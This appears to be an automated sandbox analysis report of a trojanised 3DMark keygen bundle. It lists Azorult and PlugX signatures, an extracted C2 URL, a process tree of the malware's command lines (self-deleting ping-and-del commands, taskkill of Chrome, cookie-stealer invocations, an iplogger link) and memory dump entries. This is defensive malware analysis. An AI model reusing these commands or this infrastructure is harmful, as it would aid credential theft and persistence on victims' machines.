Resubmissions

18-11-2020 14:18

201118-dj27sn3f52 10

18-11-2020 13:42

201118-1arz86e7w6 10

18-11-2020 13:38

201118-n8jh228ctn 10

Analysis

  • max time kernel
    1801s
  • max time network
    1811s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    18-11-2020 14:18

General

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • Nirsoft 8 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 27 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 13 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 33 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3608
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\intro.exe
        intro.exe 1O5ZF
        3⤵
        • Executes dropped EXE
        PID:3240
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:200
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:348
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:2340
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:212
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
          keygen-step-2.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1240
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3612
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1
              5⤵
              • Runs ping.exe
              PID:1264
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3784
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4088
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:2800
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:820
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\002.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\002.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:1536
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3092
            • C:\Users\Admin\AppData\Local\Temp\sib68E5.tmp\0\setup.exe
              "C:\Users\Admin\AppData\Local\Temp\sib68E5.tmp\0\setup.exe" -s
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1176
              • C:\Program Files (x86)\9ku5npt6tedk\aliens.exe
                "C:\Program Files (x86)\9ku5npt6tedk\aliens.exe"
                6⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Writes to the Master Boot Record (MBR)
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Modifies system certificate store
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:1120
                • C:\Windows\SysWOW64\msiexec.exe
                  msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
                  7⤵
                  • Enumerates connected drives
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:2676
                • C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe
                  C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe 0011 installp1
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks whether UAC is enabled
                  • Writes to the Master Boot Record (MBR)
                  • Suspicious use of SetThreadContext
                  • Checks SCSI registry key(s)
                  • Suspicious use of SetWindowsHookEx
                  PID:2416
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    8⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:3244
                  • C:\Users\Admin\AppData\Roaming\1605712587875.exe
                    "C:\Users\Admin\AppData\Roaming\1605712587875.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605712587875.txt"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    PID:1864
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    8⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:648
                  • C:\Users\Admin\AppData\Roaming\1605712592235.exe
                    "C:\Users\Admin\AppData\Roaming\1605712592235.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605712592235.txt"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    PID:2444
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    8⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:2964
                  • C:\Users\Admin\AppData\Roaming\1605712597672.exe
                    "C:\Users\Admin\AppData\Roaming\1605712597672.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605712597672.txt"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    PID:616
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    8⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:1048
                  • C:\Users\Admin\AppData\Roaming\1605712600360.exe
                    "C:\Users\Admin\AppData\Roaming\1605712600360.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605712600360.txt"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    PID:2524
                  • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                    C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:2608
                  • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                    "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                    8⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Writes to the Master Boot Record (MBR)
                    • Suspicious use of SetWindowsHookEx
                    PID:3824
                  • C:\Users\Admin\AppData\Local\Temp\1021C014A4C9A552.exe
                    C:\Users\Admin\AppData\Local\Temp\1021C014A4C9A552.exe /silent
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:1444
                    • C:\Users\Admin\AppData\Local\Temp\is-GKG9L.tmp\1021C014A4C9A552.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-GKG9L.tmp\1021C014A4C9A552.tmp" /SL5="$8005C,761193,121344,C:\Users\Admin\AppData\Local\Temp\1021C014A4C9A552.exe" /silent
                      9⤵
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:2672
                      • C:\Program Files (x86)\RearRips\seed.sfx.exe
                        "C:\Program Files (x86)\RearRips\seed.sfx.exe" -pK2j8l614 -s1
                        10⤵
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:2724
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd.exe" /c "start https://iplogger.org/14Ahe7"
                        10⤵
                          PID:3984
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe"
                      8⤵
                        PID:1516
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1 -n 3
                          9⤵
                          • Runs ping.exe
                          PID:1600
                    • C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe
                      C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe 200 installp1
                      7⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Writes to the Master Boot Record (MBR)
                      • Checks SCSI registry key(s)
                      • Suspicious use of SetWindowsHookEx
                      PID:204
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        8⤵
                          PID:3756
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /f /im chrome.exe
                            9⤵
                            • Kills process with taskkill
                            PID:1404
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe"
                          8⤵
                            PID:3324
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 127.0.0.1 -n 3
                              9⤵
                              • Runs ping.exe
                              PID:2108
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ping 127.0.0.1 -n 3 & del "C:\Program Files (x86)\9ku5npt6tedk\aliens.exe"
                          7⤵
                            PID:1560
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 127.0.0.1 -n 3
                              8⤵
                              • Runs ping.exe
                              PID:2380
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg2_2qua.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg2_2qua.exe"
                      4⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2104
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall21.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall21.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1032
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2928
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /f /im chrome.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:824
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\hjjgaa.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\hjjgaa.exe"
                      4⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      PID:3356
                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                        5⤵
                        • Executes dropped EXE
                        PID:3224
                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:816
              • C:\Windows\system32\msiexec.exe
                C:\Windows\system32\msiexec.exe /V
                1⤵
                • Enumerates connected drives
                • Suspicious use of AdjustPrivilegeToken
                PID:3368
                • C:\Windows\syswow64\MsiExec.exe
                  C:\Windows\syswow64\MsiExec.exe -Embedding 4BEE831CF17A398554ED20EEEE4EB308 C
                  2⤵
                  • Loads dropped DLL
                  PID:3136

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/204-100-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/204-109-0x00000000039E0000-0x0000000003E91000-memory.dmp

                Filesize

                4.7MB

              • memory/616-137-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/648-125-0x00007FFF434A0000-0x00007FFF4351E000-memory.dmp

                Filesize

                504KB

              • memory/1048-140-0x00007FFF434A0000-0x00007FFF4351E000-memory.dmp

                Filesize

                504KB

              • memory/1120-68-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/1120-72-0x0000000010000000-0x000000001033D000-memory.dmp

                Filesize

                3.2MB

              • memory/1176-64-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/1444-174-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/1536-40-0x0000000010000000-0x00000000100E3000-memory.dmp

                Filesize

                908KB

              • memory/1864-119-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2416-98-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2416-110-0x0000000003980000-0x0000000003E31000-memory.dmp

                Filesize

                4.7MB

              • memory/2416-152-0x00000000064C0000-0x00000000064C1000-memory.dmp

                Filesize

                4KB

              • memory/2444-129-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2524-145-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2608-150-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2672-178-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2724-185-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/2964-132-0x00007FFF434A0000-0x00007FFF4351E000-memory.dmp

                Filesize

                504KB

              • memory/3092-53-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB

              • memory/3092-58-0x0000000010B20000-0x0000000010B21000-memory.dmp

                Filesize

                4KB

              • memory/3092-60-0x0000000010B40000-0x0000000010B41000-memory.dmp

                Filesize

                4KB

              • memory/3092-55-0x00000000717B0000-0x0000000071E9E000-memory.dmp

                Filesize

                6.9MB

              • memory/3244-112-0x00007FFF434A0000-0x00007FFF4351E000-memory.dmp

                Filesize

                504KB

              • memory/3244-114-0x0000000010000000-0x0000000010057000-memory.dmp

                Filesize

                348KB

              • memory/3824-157-0x0000000072A80000-0x0000000072B13000-memory.dmp

                Filesize

                588KB